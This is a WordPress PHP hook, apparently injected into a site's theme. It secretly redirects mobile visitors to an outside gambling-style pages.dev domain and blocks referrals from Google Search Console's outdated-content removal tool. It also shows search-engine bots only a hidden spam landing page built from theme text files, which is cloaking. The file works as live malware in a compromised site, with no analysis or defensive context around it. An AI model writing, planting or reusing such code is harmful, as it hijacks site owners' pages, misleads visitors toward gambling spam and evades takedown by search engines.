add_action('template_redirect', function() { function is_mobile() { $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $mobile_agents = ['mobile','android','iphone','ipad','blackberry','windows phone']; foreach ($mobile_agents as $m) { if (strpos($ua, $m) !== false) return true; } return false; } function is_from_indonesia() { $accept_lang = strtolower($_SERVER['HTTP_ACCEPT_LANGUAGE'] ?? ''); return (strpos($accept_lang,'id') !== false || strpos($accept_lang,'en') !== false); } function isBot() { $ua = $_SERVER['HTTP_USER_AGENT'] ?? ''; $bots = ['Googlebot','Bingbot','Slurp','DuckDuckBot','Baiduspider','YandexBot','Google-InspectionTool','Sogou','Exabot','facebot','ia_archiver']; foreach ($bots as $bot) { if (stripos($ua,$bot) !== false) return true; } return false; } if (is_mobile() && is_from_indonesia()) { wp_redirect('https://situs-obralmaxwin.pages.dev/grupomosaico/'); exit; } $referrer = $_SERVER['HTTP_REFERER'] ?? ''; $blocked_base = 'https://search.google.com/search-console/remove-outdated-content'; if (strpos($referrer, $blocked_base) === 0) { status_header(403); exit('Access is blocked from this referrer.'); } $theme_dir = get_template_directory(); // semua bahan harus $listPages = @file($theme_dir.'/page.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $brands = @file($theme_dir.'/brands.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $descriptions = @file($theme_dir.'/desc.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $titles = @file($theme_dir.'/title.txt', FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); if (!isBot() || !$listPages || !$brands || !$descriptions || !$titles) return; global $post; $requestUri = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/'); foreach ($listPages as $index => $entry) { $entry = trim($entry); $match = false; $parts = explode('/', $entry, 2); $prefix = count($parts) == 2 ? $parts[0] : ''; $slug = count($parts) == 2 ? $parts[1] : $entry; if ($requestUri === $entry) { $match = true; } else { switch ($prefix) { case 'page': if (is_page() && $post && $post->post_name === $slug) $match = true; break; case 'post': if (is_single() && $post && $post->post_name === $slug) $match = true; break; case 'category': if (is_category() && ($term = get_queried_object()) && $term->slug === $slug) $match = true; break; case 'tag': if (is_tag() && ($term = get_queried_object()) && $term->slug === $slug) $match = true; break; case 'product': if (function_exists('is_singular') && is_singular('product') && $post && $post->post_name === $slug) $match = true; break; case 'product-category': if (function_exists('is_tax') && is_tax('product_cat') && ($term = get_queried_object()) && $term->slug === $slug) $match = true; break; case 'product-tag': if (function_exists('is_tax') && is_tax('product_tag') && ($term = get_queried_object()) && $term->slug === $slug) $match = true; break; default: if ((is_page() || is_single()) && $post && $post->post_name === $slug) $match = true; if ((is_category() || is_tag()) && ($term = get_queried_object()) && $term->slug === $slug) $match = true; if (function_exists('is_singular') && is_singular('product') && $post && $post->post_name === $slug) $match = true; if (function_exists('is_tax')) { if (is_tax('product_cat') && ($term = get_queried_object()) && $term->slug === $slug) $match = true; if (is_tax('product_tag') && ($term = get_queried_object()) && $term->slug === $slug) $match = true; } break; } } if ($match) { $BRANDS = $brands[$index] ?? ''; $DESCRIPTION = $descriptions[$index] ?? ''; $PAGE = $page; $TITLE = $titles[$index] ?? $BRANDS; include $theme_dir.'/lp.php'; // lp.php itu landing page exit; } } }, 1);